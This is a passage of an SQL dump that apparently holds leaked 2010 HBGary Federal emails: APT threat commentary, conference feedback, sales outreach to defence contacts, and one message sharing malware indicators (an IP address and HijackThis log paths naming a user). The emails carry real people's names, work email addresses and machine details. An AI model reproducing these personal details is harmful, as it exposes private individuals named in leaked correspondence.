and time that goes into developing these capabilities you can measure in the 100s of millions for each major country, the number of people working their capabilities in the thousands. &nbsp;The infrastructure to manage is complex, has redundancy, and is built to not be detected. &nbsp;Think for a moment what an organization can do when what is available is fare more unbounded. &nbsp;Need a persona with legitimate credit cards and identification, no problem, need an ISP overseas to assist, no problem.&nbsp;The state sponsored threat is an entirely different ball game.&nbsp;Aaron&nbsp;&nbsp;On Jun 19, 2010, at 3:47 PM, Greg Hoglund wrote:&nbsp;Yoyo,I am working on this as a blog post.&nbsp; Here is a first draft.&nbsp; It\'s getting a bit long so maybe I will pitch it to Karen as an article instead.&nbsp; Please give me feedback if you have time.&nbsp;-Greg&lt;APT and Botnets.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8897,'aaron_hbgary_com/8897.html'),(7654,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005866.M778702P14101Q2509.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','HBGary Federal Datasheet','Hey Chris,\r\n\r\nHope all is well.  I wanted to get a our new datasheet in your hands for comment/review.\r\n\r\nAlso attached is a copy of my presentation I gave last week at the NSA REBL conference.  The feedback has been great!  So much so I am working on an outline for a course on New Media as well as a services offering.\r\n\r\n',12761,'aaron_hbgary_com/12761.html'),(7655,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005876.M998595P14101Q2510.eml','\"Morgan Adams\" <morgan@integratedcc.com>','Active Defense, Threat Intelligence, and Exploitation','\r\n',5506,'aaron_hbgary_com/5506.html'),(7656,'2010-06-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005878.M38089P14101Q2511.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: draft blog post for \"APT and Botnets\"','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nA,\r\n\r\nI\'ll be flying home tomorrow afternoon and will let you know\r\nwhat time I land as soon as I book the ticket.&nbsp; If you\'re around we could have\r\na starbucks and chat a little bit.&nbsp; I\'m headed to Philadelphia on Thursday\r\nmorning coming back to VA on Friday.\r\n\r\n&nbsp;\r\n\r\nGlad to hear about your meetings and the feedback your getting.&nbsp;\r\n&nbsp;Your new media stuff is so cool I want to play in that crazy space.&nbsp;&nbsp; This unraveling\r\nof the bowls of spaghetti is getting old... ;)\r\n\r\n&nbsp;\r\n\r\nCan you chat now?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 9:49 PM\r\nTo: Rich Cummings\r\nSubject: Re: draft blog post for &quot;APT and Botnets&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Rich,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYeah I had a good time. &nbsp;I did not feel well the next\r\nday. &nbsp;I don\'t know how you made it to Atlanta, but good on ya.\r\n&nbsp;Sounds like you really brought it home. &nbsp;Your going to GFIRST right?\r\n&nbsp;not quite South Beach but I am sure we can find some fun.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThings are good. &nbsp;The feedback on my New Media talk is\r\nstill coming out, this week I have meetings at 1st IO, OSD, and NSA\r\nspecifically to talk about New Media, so just have to turn it into revenue.\r\n&nbsp;On Friday I am talking with the Chief of the red team and blue team at\r\n1st IO. &nbsp;They are interested in New Media, IO, Active Defense&amp;Fidelis,\r\nTMC, the whole lot of stuff.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWould love to talk to you about what you saw in Atlanta.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 9:41 PM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:)&nbsp; Good man.&nbsp; I hope you\'re well.&nbsp; I had a great\r\ntime last Wednesday night, how did you feel the next day?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook forward to catching up soon.\r\n\r\n\r\n\r\n\r\n\r\n\r\nRC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, June 21,\r\n2010 9:10 AM\r\nTo:&nbsp;Greg Hoglund\r\nCc:&nbsp;Phil Wallisch; Mike\r\nSpohn; Shawn Bracken; Rich Cummings\r\nSubject:&nbsp;Re: draft blog\r\npost for &quot;APT and Botnets&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think its a good post.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to restate a bit to insure clarification.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAPT I think still entails two different types of threat\r\nactors; Criminal underground and nation state. &nbsp;The reason it is important\r\nto differentiate is their tactics can be very different. &nbsp;The criminal\r\nunderground is going for volume, so they are much more likely to use botnets,\r\ncommon UIs, etc. to improve efficiency and harvest. &nbsp;To say they are\r\npredominately Russian today is as you say a gross misstep. &nbsp;When the term\r\nwas coined a few years back it was predominately Russian because they were the\r\nfirst to prove the market, but now that it has been shown there is lots of\r\nmoney to be made you can bet there will be small and large organized groups\r\nthat will get into the game, but I believe they can all be classified similarly\r\nin characteristics.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState sponsored could use some of these capabilities, even\r\nbuy compromised machines. &nbsp;But the big difference lies in intent.\r\n&nbsp;Attack and exploitation has been worked into the military and foreign\r\nintelligence infrastructure of some of our adversaries. &nbsp;Organizations\r\nwith very specific mission objectives that are not necessarily financially\r\nmotivated, or at least not specifically. &nbsp;In these circumstances any and\r\nall means will be used to achieve an objective. &nbsp;And the objective may be\r\njust a piece of a much larger mission. &nbsp;In this context any attack could\r\nbe part of APT,&nbsp;ANY. &nbsp;It could look quite routine,\r\neven amateurish. &nbsp;The only way to tell is to combine this information\r\nwithin a larger threat intelligence picture. &nbsp;By itself it would likely be\r\nimpossible to define as APT unless someone screwed up. &nbsp;This is what\r\nEspionage and Covert Action are all about. &nbsp;Espionage happens every day by\r\nthe major countries (and the minor ones) and yet the number of cases that make\r\nthe press and can be proven you can count on both hands. &nbsp;This threat is\r\nfar more challenging, and I can tell you no one has made a dent yet, not\r\nMandiant, not HBGary, no one. &nbsp;The best threats out there have not yet\r\nbeen detected. &nbsp;The money and time that goes into developing these\r\ncapabilities you can measure in the 100s of millions for each major country,\r\nthe number of people working their capabilities in the thousands. &nbsp;The\r\ninfrastructure to manage is complex, has redundancy, and is built to not be\r\ndetected. &nbsp;Think for a moment what an organization can do when what is available\r\nis fare more unbounded. &nbsp;Need a persona with legitimate credit cards and\r\nidentification, no problem, need an ISP overseas to assist, no problem.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe state sponsored threat is an entirely different ball\r\ngame.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 19, 2010, at 3:47 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYoyo,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am working on this as a blog post.&nbsp; Here is a first\r\ndraft.&nbsp; It\'s getting a bit long so maybe I will pitch it to Karen as an\r\narticle instead.&nbsp; Please give me feedback if you have time.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;APT and Botnets.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13800,'aaron_hbgary_com/13800.html'),(7657,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005895.M807343P14101Q2512.eml','\"Irving Lachow\" <LachowI@ndu.edu>,\"Irving Lachow\" <LachowI@ndu.edu>','NSA REBL Presentation','Irv,\r\n\r\nAttached is a copy of my presentation at the NSA REBL conference last week.  It generating a lot of interest.  I think I am missing this in my business model so I am adding it.  We are starting to develop a curriculum for new media, what organizations need to understand, where the technology is going, how to better protect themselves.  There are some opportunities to develop capabilities based on our existing partnerships to do better social network monitoring and protection.\r\n\r\nThis is an area that plays very well with our other side of New Media we discussed.\r\n\r\nLincoln, you had mentioned TAO in our previous conversation.  Is there a connection you could make for me there?  Is there anything else related to this area that would be worth discussing for you?\r\n\r\n',14454,'aaron_hbgary_com/14454.html'),(7658,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005898.M347049P14101Q2513.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','REBL Presentation','Hi Scott,\r\n\r\nI was wondering what type of feedback you might have gotten from our presentations?  I have received personally some good feedback.  Turns out I am missing a key market, so we are going to fix that.  We are working on a ciriculum for New Media to help organizations better understand the market, possible threats, and exposure their organization.  I think there is also a services/solutions offering we are going to develop with Active Defense and our partner Fidelis, where we will monitor organization traffic, characterize the new media traffic, and over tiem be able to develop threat scores based on the social connections.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13517,'aaron_hbgary_com/13517.html'),(7659,'2010-06-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005898.M819729P14101Q2514.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','this is simliar to what i\'m seeing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\ngoogleupdate.exe just hit the internet 3 hours ago.... see\r\nthis blog post.&nbsp; I found this searching for one of the IP addresses i\r\nfound inside the disk of the box.\r\n\r\n&nbsp;\r\n\r\nhttp://64.74.124.65&nbsp; - IP\r\naddress I searched for on google to come up with this hit below.\r\n\r\n&nbsp;\r\n\r\nhttp://www.bleepingcomputer.com/forums/index.php?showtopic=322174&amp;hl=google+redirecting+virus\r\n\r\n&nbsp;\r\n\r\nif you read the first guys post, and see his HJT log file\r\nyou can see multiple google files and file paths.&nbsp; When you get to the\r\nbottom you\'ll notice something like c:\\Windows\\Steam.exe - look at the other\r\npost and you\'ll see simliar files plus googlecrashhandler.exe... ;)&nbsp; what\r\na name... \r\n\r\n&nbsp;\r\n\r\nObviously both machines on this blog are running Java.&nbsp;\r\nAll the machines at my place of work this week is running java.exe too.&nbsp; I\r\ndo see java.exe going out to sun.com to get java updates, but I also see it\r\ngoing to another site for updates too.&nbsp; I can\'t remember the URL now but\r\nwill get it tomorrow.\r\n\r\n&nbsp;\r\n\r\nalso do a search for &quot;google dynamic toolbar&quot; \r\n\r\n&nbsp;\r\n\r\nRC\r\n\r\n&nbsp;\r\n\r\n[Google Desktop Search] &quot;c:\\program files\\google\\google desktop\r\nsearch\\GoogleDesktop.exe&quot; /startup\r\n\r\nC:\\Documents and Settings\\Michael Bauman\\Local\r\nSettings\\Application Data\\Google\\Update\\1.2.183.23\\GoogleCrashHandler.exe\r\n\r\nC:\\DOCUME~1\\MICHAE~1\\LOCALS~1\\Temp\\RtkBtMnt.exe \r\n\r\nC:\\WINDOWS\\system32\\spider.exe\r\n\r\nBHO: Java&#8482; Plug-In 2 SSV Helper:\r\n{dbc80044-a445-435b-bc74-9c25c1c588a9} - c:\\program\r\nfiles\\java\\jre6\\bin\\jp2ssv.dll\r\nBHO: JQSIEStartDetectorImpl Class: {e7e6f031-17ce-4c07-bc86-eabfe594f69c} -\r\nc:\\program files\\java\\jre6\\lib\\deploy\\jqs\\ie\\jqs_plugin.dll\r\n\r\nuRun: [Google Update] &quot;c:\\documents and\r\nsettings\\michael bauman\\local settings\\application data\\google\\update\\GoogleUpdate.exe&quot;\r\n/c\r\n\r\n[Google Desktop Search] &quot;c:\\program files\\google\\google desktop\r\nsearch\\GoogleDesktop.exe&quot; /startup\r\n\r\nIE: Add to Google Photos\r\nScreensa&amp;ver - c:\\windows\\system32\\GPhotos.scr/200\r\n\r\nAppInit_DLLs: c:\\progra~1\\google\\google~1\\GOEC62~1.DLL\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14906,'aaron_hbgary_com/14906.html'),(7660,'2010-06-23','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297005899.M388556P14101Q2515.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL Presentation','Aaron,\r\n\r\nOn Thursday morning, I was able to scan through about half of the feedback\r\nforms before getting side-tracked.  I did see a few from your session and\r\nthey were very positive.  I would say that your briefing and Greg\'s were the\r\nmost highly rated for the week from what I saw.  We have one of our staff\r\ncollating the feedback with the hope of sending each speaker their\r\nindividualized feedback.\r\n\r\nThanks again for supporting,\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 11:54 PM\r\nTo: Scott K. Brown\r\nSubject: REBL Presentation\r\n\r\nHi Scott,\r\n\r\nI was wondering what type of feedback you might have gotten from our\r\npresentations?  I have received personally some good feedback.  Turns out I\r\nam missing a key market, so we are going to fix that.  We are working on a\r\nciriculum for New Media to help organizations better understand the market,\r\npossible threats, and exposure their organization.  I think there is also a\r\nservices/solutions offering we are going to develop with Active Defense and\r\nour partner Fidelis, where we will monitor organization traffic,\r\ncharacterize the new media traffic, and over tiem be able to develop threat\r\nscores based on the social connections.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4930,'aaron_hbgary_com/4930.html'),(7661,'2010-06-23','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297005899.M849940P14101Q2516.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA REBL Presentation','Thanks Aaron.  I will take a look.  Lincoln, I am hoping to meet with\r\nthe TAO TD sometime soon, so I can introduce this idea to them as well\r\nif you don\'t mind.  \r\n\r\nHope you\'re both doing well.\r\nCheers,\r\nIrv\r\n\r\np.s.  Aaron, please me at both NDU and OSD email addresses.  It\'s a\r\npain, but necessary for the moment.  Thanks.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 11:51 PM\r\nTo: Lachow, Irving\r\nCc: lincoln.leibner@us.army.mil\r\nSubject: NSA REBL Presentation\r\n\r\nIrv,\r\n\r\nAttached is a copy of my presentation at the NSA REBL conference last\r\nweek.  It generating a lot of interest.  I think I am missing this in my\r\nbusiness model so I am adding it.  We are starting to develop a\r\ncurriculum for new media, what organizations need to understand, where\r\nthe technology is going, how to better protect themselves.  There are\r\nsome opportunities to develop capabilities based on our existing\r\npartnerships to do better social network monitoring and protection.\r\n\r\nThis is an area that plays very well with our other side of New Media we\r\ndiscussed.\r\n\r\nLincoln, you had mentioned TAO in our previous conversation.  Is there a\r\nconnection you could make for me there?  Is there anything else related\r\nto this area that would be worth discussing for you?\r\n\r\n',869,'aaron_hbgary_com/869.html'),(7662,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005900.M110366P14101Q2517.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: REBL Presentation','Sent from my iPadBegin forwarded message:From: &quot;Scott K. Brown&quot; &lt;sbrown@dewnet.ncsc.mil&gt;\r\nDate: June 23, 2010 7:13:52 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: REBL Presentation\r\nAaron,On Thursday morning, I was able to scan through about half of the feedbackforms before getting side-tracked.  I did see a few from your session and\r\nthey were very positive.  I would say that your briefing and Greg&#39;s were themost highly rated for the week from what I saw.  We have one of our staffcollating the feedback with the hope of sending each speaker their\r\nindividualized feedback.Thanks again for supporting,Scott-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 11:54 PMTo: Scott K. BrownSubject: REBL PresentationHi Scott,I was wondering what type of feedback you might have gotten from our\r\npresentations?  I have received personally some good feedback.  Turns out Iam missing a key market, so we are going to fix that.  We are working on aciriculum for New Media to help organizations better understand the market,\r\npossible threats, and exposure their organization.  I think there is also aservices/solutions offering we are going to develop with Active Defense andour partner Fidelis, where we will monitor organization traffic,\r\ncharacterize the new media traffic, and over tiem be able to develop threatscores based on the social connections.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',12964,'aaron_hbgary_com/12964.html'),(7663,'2010-06-23','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297005900.M352088P14101Q2518.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dinner','',12174,'aaron_hbgary_com/12174.html'),(7664,'2010-06-23','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005900.M630925P14101Q2519.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Hi Aaron,\r\n\r\nI have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n\r\n	Larry\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 9:05 PM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nOK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\nmorning or 2pm or later?\r\n\r\nAaron\r\n\r\nOn Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n\r\n> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\nfor\r\n> right now.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 21, 2010 6:39 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n> \r\n> Sure.  I can do thursday, unless you can do tomorrow morning?  I am in\r\n> MD all tomorrow.\r\n> \r\n> Your call.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>  wrote:\r\n> \r\n>> Whoops, life at the speed of cyber just struck; am now headed to one\r\n> of\r\n>> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n>> will have to look at another time. Your next best opportunity?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 5:33 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>> \r\n>> We\'d afternoon would be great if you have the time then.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>  wrote:\r\n>> \r\n>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\nThursday\r\n>> I\r\n>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>> Chantilly in the afternoon.  Thoughts\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>> \r\n>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n> much\r\n>>> better fit, not so big, mission not so spread out.  You can focus\r\nyou\r\n>>> energies to help them develop a cyber strategy within a much more\r\n>>> defined context.  Still any cyber strategy effort today is not\r\n> without\r\n>>> its challenges, the government just is not getting its act together.\r\n>>> \r\n>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>> anxiety and exhilaration of trying to build a business is an\r\n>> invaluable\r\n>>> experience for me.  I am not happy with the manner in which I left,\r\n>> but\r\n>>> alls well that ends well and I have maintained good relationships\r\n> with\r\n>>> just about all of my previous close coworkers.  I sit in\r\n>> Tysons/Mclean.\r\n>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n> Colorado\r\n>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\norder.\r\n>>> This week I have Thursday open and am pretty open next week.  I will\r\n>> be\r\n>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\nam\r\n>>> not sure where you sit.  Let me know when you have some\r\navailability.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>> \r\n>>>> Hey Aaron,\r\n>>>> \r\n>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>> tentative congratulations but I will tell you I am pleased to be\r\n>> here.\r\n>>>> Northrop is a great company, just way too big, and like the three\r\n>>> bears\r\n>>>> said, this one is JUST right.  Or at least it is so far.  And many\r\n> of\r\n>>>> your friends here still remember you well.  I think I saw where\r\nyour\r\n>>>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>> together?  Let me know and we\'ll make it happen,\r\n>>>> \r\n>>>> 	Larry\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Discussion on cyber\r\n>>>> \r\n>>>> Hi Larry,\r\n>>>> \r\n>>>> Congratulations... I think. ;)\r\n>>>> \r\n>>>> Attached is our datasheet for information security services.  I\r\n> would\r\n>>>> like to get together at your convenience to talk cyber.  I had a\r\n>> brief\r\n>>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>>> would\r\n>>>> like to work together.  TASC is a second home for me and contains\r\n>> many\r\n>>>> friends.\r\n>>>> \r\n>>>> Aaron\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5647,'aaron_hbgary_com/5647.html'),(7665,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005900.M912332P14101Q2520.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','Today or tomorrow?  We thinking of meeting Thursday right?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 23, 2010, at 7:45 AM, \"Strang, Larry (TASC)\"  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> I have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n>\r\n>    Larry\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 22, 2010 9:05 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\n> morning or 2pm or later?\r\n>\r\n> Aaron\r\n>\r\n> On Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n>\r\n>> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\n> for\r\n>> right now.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 6:39 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> Sure.  I can do thursday, unless you can do tomorrow morning?  I am\r\n>> in\r\n>> MD all tomorrow.\r\n>>\r\n>> Your call.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Whoops, life at the speed of cyber just struck; am now headed to one\r\n>> of\r\n>>> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n>>> will have to look at another time. Your next best opportunity?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 5:33 PM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>>\r\n>>> We\'d afternoon would be great if you have the time then.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\n> Thursday\r\n>>> I\r\n>>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>>> Chantilly in the afternoon.  Thoughts\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Re: Discussion on cyber\r\n>>>>\r\n>>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n>> much\r\n>>>> better fit, not so big, mission not so spread out.  You can focus\r\n> you\r\n>>>> energies to help them develop a cyber strategy within a much more\r\n>>>> defined context.  Still any cyber strategy effort today is not\r\n>> without\r\n>>>> its challenges, the government just is not getting its act\r\n>>>> together.\r\n>>>>\r\n>>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>>> anxiety and exhilaration of trying to build a business is an\r\n>>> invaluable\r\n>>>> experience for me.  I am not happy with the manner in which I left,\r\n>>> but\r\n>>>> alls well that ends well and I have maintained good relationships\r\n>> with\r\n>>>> just about all of my previous close coworkers.  I sit in\r\n>>> Tysons/Mclean.\r\n>>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n>> Colorado\r\n>>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\n> order.\r\n>>>> This week I have Thursday open and am pretty open next week.  I\r\n>>>> will\r\n>>> be\r\n>>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\n> am\r\n>>>> not sure where you sit.  Let me know when you have some\r\n> availability.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>>>\r\n>>>>> Hey Aaron,\r\n>>>>>\r\n>>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>>> tentative congratulations but I will tell you I am pleased to be\r\n>>> here.\r\n>>>>> Northrop is a great company, just way too big, and like the three\r\n>>>> bears\r\n>>>>> said, this one is JUST right.  Or at least it is so far.  And many\r\n>> of\r\n>>>>> your friends here still remember you well.  I think I saw where\r\n> your\r\n>>>>> duty title was the CEO and so I am duly impressed.\r\n>>>>> Congratulations\r\n>>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>>> together?  Let me know and we\'ll make it 